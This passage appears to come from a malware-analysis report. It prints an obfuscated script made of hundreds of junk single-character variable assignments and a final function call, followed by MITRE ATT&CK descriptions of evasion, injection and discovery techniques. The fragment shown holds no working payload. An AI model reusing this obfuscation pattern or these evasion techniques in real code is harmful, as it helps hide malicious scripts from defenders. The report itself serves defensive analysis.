573	fupvebl = "I";
574	fupvebl = "v";
575	fupvebl = "c";
576	fupvebl = "M";
577	fupvebl = "z";
578	fupvebl = "C";
579	fupvebl = "L";
580	fupvebl = "u";
581	fupvebl = "b";
582	fupvebl = "I";
583	fupvebl = "h";
584	fupvebl = "u";
585	fupvebl = "C";
586	igcaewf = "I";
587	igcaewf = "D";
588	igcaewf = "h";
589	igcaewf = "k";
590	igcaewf = "V";
591	igcaewf = "H";
592	igcaewf = "i";
593	igcaewf = "X";
594	igcaewf = "Q";
595	igcaewf = "L";
596	igcaewf = "n";
597	igcaewf = "c";
598	igcaewf = "h";
599	igcaewf = "B";
600	igcaewf = "z";
601	igcaewf = "t";
602	igcaewf = "z";
603	igcaewf = "Q";
604	igcaewf = "b";
605	igcaewf = "M";
606	igcaewf = "8";
607	pmgepg = "x";
608	pmgepg = "X";
609	pmgepg = "Q";
610	pmgepg = "r";
611	pmgepg = "O";
612	pmgepg = "L";
613	pmgepg = "b";
614	pmgepg = "v";
615	pmgepg = "l";
616	pmgepg = "O";
617	pmgepg = "u";
618	pmgepg = "m";
619	pmgepg = "b";
620	pmgepg = "D";
621	pmgepg = "U";
622	pmgepg = "e";
623	pmgepg = "c";
624	pmgepg = "M";
625	pmgepg = "k";
626	pmgepg = "L";
627	pmgepg = "b";
628	pmgepg = "M";
629	pmgepg = "m";
630	faoubrco = "t";
631	cfjpjap = "I";
632	muompzpc = "R";
633	muompzpc = "W";
634	muompzpc = "h";
635	muompzpc = "t";
636	muompzpc = "T";
637	muompzpc = "w";
638	muompzpc = "O";
639	muompzpc = "Z";
640	muompzpc = "h";
641	muompzpc = "k";
642	muompzpc = "g";
643	muompzpc = "F";
644	muompzpc = "C";
645	muompzpc = "H";
646	srcwg = "V";
647	srcwg = "l";
648	srcwg = "V";
649	srcwg = "b";
650	srcwg = "q";
651	srcwg = "h";
652	srcwg = "q";
653	srcwg = "m";
654	srcwg = "E";
655	srcwg = "M";
656	srcwg = "S";
657	srcwg = "O";
658	srcwg = "c";
659	srcwg = "d";
660	srcwg = "h";
661	srcwg = "N";
662	srcwg = "Z";
663	srcwg = "x";
664	srcwg = "D";
665	srcwg = "P";
666	srcwg = "W";
667	srcwg = "C";
668	srcwg = "u";
669	srcwg = "g";
670	srcwg = "M";
671	srcwg = "a";
672	srcwg = "R";
673	srcwg = "F";
674	srcwg = "d";
675	srcwg = "X";
676	srcwg = "c";
677	srcwg = "W";
678	srcwg = "q";
679	srcwg = "g";
680	srcwg = "e";
681	srcwg = "U";
682	srcwg = "M";
683	srcwg = "J";
684	srcwg = "c";
685	srcwg = "N";
686	srcwg = "\"";
687	wwotpl = "H";
688	wwotpl = "h";
689	wwotpl = "K";
690	wwotpl = "q";
691	upkvr = "e";
692	upkvr = "g";
693	upkvr = "K";
694	upkvr = "r";
695	upkvr = "w";
696	upkvr = "D";
697	upkvr = "k";
698	upkvr = "a";
699	upkvr = "J";
700	upkvr = "d";
701	upkvr = "Y";
702	upkvr = "d";
703	upkvr = "c";
704	upkvr = "t";
705	upkvr = "E";
706	upkvr = "Z";
707	upkvr = "K";
708	upkvr = "z";
709	upkvr = "W";
710	upkvr = "u";
711	upkvr = "j";
712	upkvr = "e";
713	upkvr = "Q";
714	upkvr = "D";
715	upkvr = "q";
716	upkvr = "R";
717	upkvr = "g";
718	upkvr = "X";
719	upkvr = "Z";
720	upkvr = "M";
721	upkvr = "M";
722	upkvr = "d";
723	upkvr = "K";
724	upkvr = "H";
725	upkvr = "U";
726	upkvr = "U";
727	upkvr = "N";
728	upkvr = "U";
729	upkvr = "s";
730	upkvr = "k";
731	ocgwb = "y";
732	ocgwb = "s";
733	ocgwb = "z";
734	ocgwb = "d";
735	ocgwb = "W";
736	ocgwb = "M";
737	ocgwb = "g";
738	ocgwb = "B";
739	ocgwb = "z";
740	ocgwb = "A";
741	ocgwb = "p";
742	ocgwb = "B";
743	ocgwb = "x";
744	ocgwb = "Q";
745	ocgwb = "w";
746	ocgwb = "E";
747	ocgwb = "X";
748	ocgwb = "e";
749	ocgwb = "e";
750	ocgwb = "x";
751	ocgwb = "G";
752	ocgwb = "u";
753	ocgwb = "d";
754	ocgwb = "P";
755	ocgwb = "&";
756	moacwocx = "W";
757	moacwocx = "l";
758	moacwocx = "l";
759	moacwocx = "z";
760	moacwocx = "m";
761	moacwocx = "z";
762	moacwocx = "C";
763	moacwocx = "C";
764	moacwocx = "O";
765	moacwocx = "V";
766	moacwocx = "Y";
767	moacwocx = "W";
768	moacwocx = "c";
769	moacwocx = "Y";
770	moacwocx = "B";
771	moacwocx = "Q";
772	moacwocx = "a";
773	moacwocx = "Z";
774	moacwocx = "i";
775	moacwocx = "E";
776	moacwocx = "b";
777	moacwocx = "P";
778	moacwocx = "p";
779	moacwocx = "A";
780	moacwocx = "n";
781	moacwocx = "V";
782	moacwocx = "P";
783	tzzpbdjhk = "r";
784	tzzpbdjhk = "L";
785	tzzpbdjhk = "E";
786	tzzpbdjhk = "W";
787	tzzpbdjhk = "b";
788	tzzpbdjhk = "N";
789	tzzpbdjhk = "e";
790	tzzpbdjhk = "y";
791	tzzpbdjhk = "k";
792	tzzpbdjhk = "n";
793	tzzpbdjhk = "h";
794	tzzpbdjhk = "D";
795	tzzpbdjhk = "o";
796	tzzpbdjhk = "G";
797	tzzpbdjhk = "r";
798	tzzpbdjhk = "i";
799	tzzpbdjhk = "a";
800	tzzpbdjhk = "N";
801	dmgjscqol = "U";
802	dmgjscqol = "C";
803	dmgjscqol = "B";
804	dmgjscqol = "e";
805	dmgjscqol = "o";
806	dmgjscqol = "B";
807	dmgjscqol = "j";
808	dmgjscqol = "H";
809	dmgjscqol = "k";
810	dmgjscqol = "t";
811	dmgjscqol = "T";
812	dmgjscqol = "M";
813	dmgjscqol = "A";
814	dmgjscqol = "r";
815	dmgjscqol = "G";
816	dmgjscqol = "X";
817	dmgjscqol = "/";
818	jrpjf = "B";
819	jrpjf = "R";
820	jrpjf = "H";
821	jrpjf = "Z";
822	jrpjf = "w";
823	jrpjf = "L";
824	jrpjf = "S";
825	jrpjf = "P";
826	jrpjf = "m";
827	jrpjf = "f";
828	jrpjf = "N";
829	jrpjf = "M";
830	jrpjf = "z";
831	jrpjf = "n";
832	jrpjf = "l";
833	jrpjf = "X";
834	jrpjf = "V";
835	jrpjf = "P";
836	jrpjf = "Q";
837	jrpjf = "U";
838	jrpjf = "n";
839	jrpjf = "K";
840	jrpjf = "j";
841	jrpjf = "F";
842	jrpjf = "Z";
843	jrpjf = "w";
844	jrpjf = "t";
845	jrpjf = "S";
846	jrpjf = "a";
847	jrpjf = "P";
848	jrpjf = "F";
849	yckpaxjf = "l";
850	yckpaxjf = "C";
851	yckpaxjf = "o";
852	yckpaxjf = "k";
853	yckpaxjf = "p";
854	yckpaxjf = "y";
855	yckpaxjf = "g";
856	yckpaxjf = "h";
857	yckpaxjf = "k";
858	yckpaxjf = "A";
859	yckpaxjf = "M";
860	yckpaxjf = "u";
861	yckpaxjf = "x";
862	yckpaxjf = "g";
863	yckpaxjf = "a";
864	yckpaxjf = "F";
865	yckpaxjf = "-";
866	yqgkqhtvw = "U";
867	yqgkqhtvw = "x";
868	yqgkqhtvw = "w";
869	yqgkqhtvw = "W";
870	yqgkqhtvw = "j";
871	yqgkqhtvw = "y";
872	yqgkqhtvw = "f";
873	yqgkqhtvw = "z";
874	yqgkqhtvw = "E";
875	yqgkqhtvw = "x";
876	yqgkqhtvw = "W";
877	yqgkqhtvw = "a";
878	yqgkqhtvw = "f";
879	yqgkqhtvw = "Z";
880	yqgkqhtvw = "B";
881	yqgkqhtvw = "n";
882	yqgkqhtvw = "q";
883	yqgkqhtvw = "s";
884	yqgkqhtvw = "q";
885	yqgkqhtvw = "T";
886	yqgkqhtvw = "t";
887	yqgkqhtvw = "G";
888	yqgkqhtvw = "c";
889	yqgkqhtvw = "T";
890	yqgkqhtvw = "e";
891	yqgkqhtvw = "\\";
892	mlszd = "q";
893	mlszd = "J";
894	mlszd = "C";
895	mlszd = "m";
896	mlszd = "T";
897	mlszd = "o";
898	mlszd = "r";
899	mlszd = "c";
900	mlszd = "H";
901	mlszd = "q";
902	mlszd = "U";
903	mlszd = "Q";
904	mlszd = "D";
905	mlszd = "P";
906	mlszd = "o";
907	mlszd = "c";
908	mlszd = "S";
909	mlszd = "z";
910	mlszd = "t";
911	mlszd = "i";
912	mlszd = "L";
913	mlszd = "e";
914	mlszd = "J";
915	mlszd = "s";
916	mlszd = "a";
917	mlszd = "x";
918	mlszd = "V";
919	mlszd = "o";
920	mlszd = "O";
921	mlszd = "V";
922	mlszd = "G";
923	mlszd = "q";
924	mlszd = "B";
925	mlszd = "P";
926	mlszd = "x";
927	mlszd = "n";
928	mlszd = "C";
929	mlszd = "e";
930	mlszd = "c";
931	mlszd = "b";
932	mlszd = "b";
933	fwbucxzue = "C";
934	fwbucxzue = "y";
935	fwbucxzue = "Y";
936	fwbucxzue = "N";
937	fwbucxzue = "b";
938	fwbucxzue = "v";
939	fwbucxzue = "J";
940	fwbucxzue = "g";
941	fwbucxzue = "K";
942	fwbucxzue = "P";
943	fwbucxzue = "M";
944	fwbucxzue = "m";
945	fwbucxzue = "m";
946	fwbucxzue = "t";
947	fwbucxzue = "P";
948	fwbucxzue = "z";
949	fwbucxzue = "d";
950	fwbucxzue = "h";
951	fwbucxzue = "w";
952	fwbucxzue = "G";
953	fwbucxzue = "o";
954	fwbucxzue = "f";
955	fwbucxzue = "j";
956	fwbucxzue = "S";
957	fwbucxzue = "g";
958	fwbucxzue = "j";
959	fwbucxzue = "l";
960	fwbucxzue = "N";
961	fwbucxzue = "h";
962	fwbucxzue = "S";
963	fwbucxzue = "x";
964	fwbucxzue = "Z";
965	fwbucxzue = "C";
966	fwbucxzue = "j";
967	fwbucxzue = "T";
968	dhfwkmix = "R";
969	dhfwkmix = "D";
970	dhfwkmix = "X";
971	dhfwkmix = "f";
972	dhfwkmix = "i";
973	dhfwkmix = "t";
974	dhfwkmix = "Y";
975	dhfwkmix = "p";
976	dhfwkmix = "O";
977	dhfwkmix = "G";
978	dhfwkmix = "j";
979	dhfwkmix = "A";
980	dhfwkmix = "H";
981	dhfwkmix = "U";
982	dhfwkmix = "H";
983	dhfwkmix = "t";
984	dhfwkmix = "r";
985	dhfwkmix = "q";
986	dhfwkmix = "G";
987	dhfwkmix = "m";
988	dhfwkmix = "d";
989	dhfwkmix = "c";
990	dhfwkmix = "d";
991	dhfwkmix = "G";
992	dhfwkmix = "z";
993	dhfwkmix = "F";
994	dhfwkmix = "y";
995	dhfwkmix = "6";
996	kuisjdxw = "t";
997	kuisjdxw = "U";
998	kuisjdxw = "C";
999	kuisjdxw = "C";
1000	kuisjdxw = "A";
1001	kuisjdxw = "C";
1002	kuisjdxw = "P";
1003	kuisjdxw = "s";
1004	kuisjdxw = "A";
1005	kuisjdxw = "A";
1006	kuisjdxw = "d";
1007	kuisjdxw = "o";
1008	kuisjdxw = "g";
1009	kuisjdxw = "W";
1010	kuisjdxw = "H";
1011	kuisjdxw = "j";
1012	kuisjdxw = "W";
1013	kuisjdxw = "D";
1014	kuisjdxw = "C";
1015	kuisjdxw = "c";
1016	kuisjdxw = "o";
1017	kuisjdxw = "D";
1018	kuisjdxw = "J";
1019	kuisjdxw = "F";
1020	kuisjdxw = "K";
1021	kuisjdxw = "d";
1022	kuisjdxw = "e";
1023	kuisjdxw = "s";
1024	kuisjdxw = "d";
1025	kuisjdxw = "e";
1026	kuisjdxw = "N";
1027	kuisjdxw = "B";
1028	kuisjdxw = "x";
1029	kuisjdxw = "P";
1030	kuisjdxw = "s";
1031	kuisjdxw = "e";
1032	kuisjdxw = "x";
1033	kuisjdxw = "y";
1034	kuisjdxw = "H";
1035	kuisjdxw = "I";
1036	kuisjdxw = "O";
1037	kuisjdxw = "L";
1038	kuisjdxw = "v";
1039	kuisjdxw = "d";
1040	gqslp = "n";
1041	gqslp = "v";
1042	gqslp = "p";
1043	otrgkd = "r";
1044	otrgkd = "q";
1045	otrgkd = "S";
1046	riryiga = "l";
1047	riryiga = "T";
1048	riryiga = "p";
1049	riryiga = "L";
1050	riryiga = "X";
1051	riryiga = "e";
1052	riryiga = "u";
1053	riryiga = "s";
1054	riryiga = "W";
1055	riryiga = "t";
1056	riryiga = "o";
1057	riryiga = "o";
1058	riryiga = "L";
1059	riryiga = "L";
1060	dmyykq = "l";
1061	dmyykq = "K";
1062	dmyykq = "X";
1063	dmyykq = "f";
1064	dmyykq = "N";
1065	dmyykq = "p";
1066	dmyykq = "N";
1067	dmyykq = "B";
1068	dmyykq = "g";
1069	dmyykq = "U";
1070	dmyykq = "y";
1071	dmyykq = "Q";
1072	dmyykq = "H";
1073	dmyykq = "Z";
1074	dmyykq = "K";
1075	dmyykq = "n";
1076	dmyykq = "c";
1077	dmyykq = "A";
1078	dmyykq = "Q";
1079	dmyykq = "a";
1080	dmyykq = "L";
1081	dmyykq = "n";
1082	dmyykq = "f";
1083	dmyykq = "B";
1084	dmyykq = "O";
1085	dmyykq = "W";
1086	dmyykq = "m";
1087	dmyykq = "N";
1088	dmyykq = "R";
1089	dmyykq = "o";
1090	dmyykq = "G";
1091	dmyykq = "f";
1092	dmyykq = "a";
1093	dmyykq = "q";
1094	dmyykq = "B";
1095	dmyykq = "D";
1096	dmyykq = "P";
1097	dmyykq = "i";
1098	ynmezz = "N";
1099	ynmezz = "y";
1100	ynmezz = "J";
1101	ynmezz = "U";
1102	ynmezz = "I";
1103	ynmezz = "A";
1104	ynmezz = "M";
1105	ynmezz = "x";
1106	ynmezz = "o";
1107	ynmezz = "a";
1108	ynmezz = "z";
1109	ynmezz = "x";
1110	ynmezz = "X";
1111	ynmezz = "X";
1112	ynmezz = "U";
1113	ynmezz = "Y";
1114	ynmezz = "I";
1115	ynmezz = "y";
1116	ynmezz = "f";
1117	ynmezz = "J";
1118	ynmezz = "B";
1119	ynmezz = "P";
1120	ynmezz = "k";
1121	ynmezz = "z";
1122	ynmezz = "l";
1123	dltiw = "J";
1124	dltiw = "d";
1125	dltiw = "s";
1126	dltiw = "n";
1127	dltiw = "H";
1128	dltiw = "F";
1129	dltiw = "a";
1130	dltiw = "e";
1131	qgawt = "m";
1132	qgawt = "S";
1133	qgawt = "Y";
1134	qgawt = "X";
1135	qgawt = "f";
1136	qgawt = "V";
1137	qgawt = "z";
1138	qgawt = "R";
1139	qgawt = "m";
1140	qgawt = "b";
1141	qgawt = "K";
1142	qgawt = "h";
1143	qgawt = "V";
1144	qgawt = "D";
1145	qgawt = "q";
1146	qgawt = "l";
1147	qgawt = "C";
1148	qgawt = "w";
1149	qgawt = "l";
1150	qgawt = "j";
1151	qgawt = "r";
1152	qgawt = "X";
1153	qgawt = "k";
1154	qgawt = "B";
1155	qgawt = "v";
1156	luitz = "I";
1157	luitz = "j";
1158	luitz = "U";
1159	luitz = "P";
1160	luitz = "r";
1161	luitz = "a";
1162	luitz = "v";
1163	luitz = "n";
1164	luitz = "I";
1165	luitz = "o";
1166	luitz = "U";
1167	luitz = "t";
1168	luitz = "L";
1169	luitz = "R";
1170	luitz = "c";
1171	luitz = "d";
1172	luitz = "z";
1173	luitz = "g";
1174	luitz = "G";
1175	luitz = "l";
1176	luitz = "D";
1177	luitz = "A";
1178	luitz = "x";
1179	luitz = "z";
1180	luitz = "y";
1181	luitz = "p";
1182	luitz = "R";
1183	luitz = "j";
1184	luitz = "E";
1185	luitz = "G";
1186	luitz = "F";
1187	luitz = "a";
1188	luitz = "x";
1189	luitz = "V";
1190	luitz = "Y";
1191	luitz = "S";
1192	luitz = "z";
1193	luitz = "P";
1194	luitz = "y";
1195	luitz = "S";
1196	luitz = "O";
1197	cfqkh = "I";
1198	cfqkh = "H";
1199	cfqkh = "F";
1200	cfqkh = "R";
1201	cfqkh = "h";
1202	cfqkh = "h";
1203	cfqkh = "G";
1204	cfqkh = "a";
1205	cfqkh = "F";
1206	cfqkh = "y";
1207	cfqkh = "Z";
1208	cfqkh = "I";
1209	cfqkh = "x";
1210	cfqkh = "B";
1211	cfqkh = "N";
1212	cfqkh = "r";
1213	cfqkh = "N";
1214	cfqkh = "B";
1215	cfqkh = "C";
1216	cfqkh = "V";
1217	cfqkh = "Y";
1218	cfqkh = "P";
1219	cfqkh = "f";
1220	cfqkh = "x";
1221	cfqkh = "U";
1222	cfqkh = "i";
1223	cfqkh = "a";
1224	fyjom = "K";
1225	fyjom = "W";
1226	fyjom = "a";
1227	fyjom = "m";
1228	fyjom = "W";
1229	fyjom = "s";
1230	fyjom = "C";
1231	fyjom = "X";
1232	fyjom = "D";
1233	fyjom = "A";
1234	fyjom = "g";
1235	fyjom = "u";
1236	fyjom = "S";
1237	fyjom = "d";
1238	fyjom = "V";
1239	fyjom = "z";
1240	fyjom = "n";
1241	fyjom = "r";
1242	fyjom = "w";
1243	fyjom = "b";
1244	fyjom = "a";
1245	fyjom = "o";
1246	fyjom = "j";
1247	fyjom = "r";
1248	fyjom = "W";
1249	fyjom = "Z";
1250	fyjom = "n";
1251	fyjom = "c";
1252	fyjom = "d";
1253	fyjom = "d";
1254	fyjom = "e";
1255	fyjom = "A";
1256	fyjom = "A";
1257	fyjom = "p";
1258	fyjom = "J";
1259	fyjom = "U";
1260	fyjom = "S";
1261	fyjom = "g";
1262	fyjom = "n";
1263	fyjom = "h";
1264	qllaurh = "y";
1265	qllaurh = "P";
1266	qllaurh = "E";
1267	qllaurh = "r";
1268	qllaurh = "E";
1269	qllaurh = "F";
1270	qllaurh = "f";
1271	qllaurh = "N";
1272	qllaurh = "e";
1273	qllaurh = "K";
1274	qllaurh = "j";
1275	qllaurh = "N";
1276	qllaurh = "F";
1277	qllaurh = "L";
1278	qllaurh = "v";
1279	qllaurh = "f";
1280	qllaurh = "h";
1281	qllaurh = "f";
1282	qllaurh = "Q";
1283	qllaurh = "L";
1284	qllaurh = "Z";
1285	qllaurh = "t";
1286	qllaurh = "R";
1287	vflgcqg = "d";
1288	vflgcqg = "J";
1289	vflgcqg = "z";
1290	vflgcqg = "I";
1291	vflgcqg = "h";
1292	vflgcqg = "N";
1293	vflgcqg = "S";
1294	vflgcqg = "M";
1295	vflgcqg = "T";
1296	vflgcqg = "U";
1297	vflgcqg = "x";
1298	vflgcqg = "a";
1299	vflgcqg = "J";
1300	vflgcqg = "v";
1301	vflgcqg = "U";
1302	vflgcqg = "i";
1303	vflgcqg = "A";
1304	vflgcqg = "B";
1305	vflgcqg = "v";
1306	vflgcqg = "U";
1307	vflgcqg = "%";
1308	dpluan = "M";
1309	dpluan = "g";
1310	dpluan = "c";
1311	dpluan = "N";
1312	dpluan = "h";
1313	dpluan = "F";
1314	dpluan = "Z";
1315	dpluan = "Z";
1316	dpluan = "R";
1317	dpluan = "u";
1318	dpluan = "T";
1319	dpluan = "Y";
1320	dpluan = "z";
1321	dpluan = "Q";
1322	dpluan = "x";
1323	dpluan = "a";
1324	dpluan = "o";
1325	dpluan = "w";
1326	dpluan = "x";
1327	dpluan = "Z";
1328	dpluan = "z";
1329	dpluan = "u";
1330	dpluan = "h";
1331	dpluan = "k";
1332	dpluan = "j";
1333	dpluan = "X";
1334	dpluan = "W";
1335	dpluan = "r";
1336	dpluan = "2";
1337	cdpdtx = "f";
1338	cdpdtx = "r";
1339	cdpdtx = "M";
1340	cdpdtx = "v";
1341	cdpdtx = "k";
1342	cdpdtx = "A";
1343	cdpdtx = "I";
1344	cdpdtx = "n";
1345	cdpdtx = "f";
1346	cdpdtx = "d";
1347	cdpdtx = "n";
1348	cdpdtx = "O";
1349	cdpdtx = "i";
1350	cdpdtx = "U";
1351	cdpdtx = "w";
1352	cdpdtx = "N";
1353	cdpdtx = "q";
1354	cdpdtx = "n";
1355	cdpdtx = "W";
1356	cdpdtx = "A";
1357	cdpdtx = "W";
1358	cdpdtx = "M";
1359	cdpdtx = "T";
1360	cdpdtx = "X";
1361	cdpdtx = "R";
1362	cdpdtx = "j";
1363	cdpdtx = "d";
1364	cdpdtx = "J";
1365	cdpdtx = "Z";
1366	cdpdtx = "K";
1367	cdpdtx = "h";
1368	cdpdtx = "w";
1369	cdpdtx = "i";
1370	cdpdtx = "K";
1371	cdpdtx = "O";
1372	cdpdtx = "S";
1373	cdpdtx = "5";
1374	vrbat = "l";
1375	vrbat = "h";
1376	vrbat = "H";
1377	vrbat = "C";
1378	vrbat = "Y";
1379	vrbat = "t";
1380	vrbat = "H";
1381	vrbat = "X";
1382	vrbat = "c";
1383	vrbat = "o";
1384	myalgbf = "b";
1385	myalgbf = "j";
1386	myalgbf = "z";
1387	myalgbf = "H";
1388	myalgbf = "c";
1389	myalgbf = "R";
1390	myalgbf = "K";
1391	fgnwy = "r";
1392	fgnwy = "J";
1393	fgnwy = "b";
1394	fgnwy = "b";
1395	fgnwy = "A";
1396	fgnwy = "y";
1397	fgnwy = "c";
1398	fgnwy = "V";
1399	fgnwy = "w";
1400	fgnwy = "m";
1401	fgnwy = "i";
1402	fgnwy = "P";
1403	fgnwy = "R";
1404	fgnwy = "C";
1405	fgnwy = "x";
1406	fgnwy = "e";
1407	fgnwy = "X";
1408	fgnwy = "y";
1409	fgnwy = "v";
1410	fgnwy = "L";
1411	fgnwy = "C";
1412	fgnwy = "h";
1413	fgnwy = "E";
1414	fgnwy = "F";
1415	fgnwy = "F";
1416	fgnwy = "g";
1417	fgnwy = "K";
1418	fgnwy = "H";
1419	fgnwy = "O";
1420	fgnwy = "M";
1421	fgnwy = "R";
1422	fgnwy = "m";
1423	fgnwy = "c";
1424	fgnwy = "e";
1425	fgnwy = "n";
1426	fgnwy = "q";
1427	fgnwy = "w";
1428	fgnwy = "E";
1429	fgnwy = "Q";
1430	fgnwy = "s";
1431	ulxcs = "B";
1432	ulxcs = "h";
1433	ulxcs = "P";
1434	ulxcs = "Z";
1435	ulxcs = "g";
1436	ulxcs = "H";
1437	ulxcs = "m";
1438	ulxcs = "s";
1439	ulxcs = "p";
1440	ulxcs = "W";
1441	ulxcs = "v";
1442	ulxcs = "H";
1443	ulxcs = "J";
1444	ulxcs = "V";
1445	ulxcs = "t";
1446	ulxcs = "e";
1447	ulxcs = "P";
1448	ulxcs = "w";
1449	ulxcs = "l";
1450	ulxcs = "G";
1451	ulxcs = "v";
1452	ulxcs = "W";
1453	ulxcs = "3";
1454	hehcgx = "m";
1455	hehcgx = "k";
1456	hehcgx = "u";
1457	hehcgx = "V";
1458	hehcgx = "m";
1459	hehcgx = "L";
1460	hehcgx = "f";
1461	hehcgx = "f";
1462	hehcgx = "Y";
1463	hehcgx = "I";
1464	hehcgx = "F";
1465	hehcgx = "o";
1466	hehcgx = "w";
1467	hehcgx = "N";
1468	hehcgx = "N";
1469	hehcgx = "p";
1470	hehcgx = "E";
1471	hehcgx = "X";
1472	hehcgx = "g";
1473	oibkcfly = "M";
1474	oibkcfly = "v";
1475	oibkcfly = "Q";
1476	oibkcfly = "S";
1477	oibkcfly = "o";
1478	oibkcfly = "q";
1479	oibkcfly = "v";
1480	oibkcfly = "a";
1481	oibkcfly = "Q";
1482	oibkcfly = "T";
1483	oibkcfly = "o";
1484	oibkcfly = "D";
1485	oibkcfly = "z";
1486	oibkcfly = "g";
1487	oibkcfly = "W";
1488	oibkcfly = "I";
1489	oibkcfly = "D";
1490	oibkcfly = "L";
1491	oibkcfly = "e";
1492	oibkcfly = "H";
1493	oibkcfly = "P";
1494	oibkcfly = "Y";
1495	oibkcfly = "a";
1496	oibkcfly = "s";
1497	oibkcfly = "Q";
1498	oibkcfly = "D";
1499	oibkcfly = "p";
1500	oibkcfly = "C";
1501	oibkcfly = "p";
1502	oibkcfly = "s";
1503	oibkcfly = "E";
1504	oibkcfly = ".";
1505	fsrvcmopx ( );	fsrvcmopx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
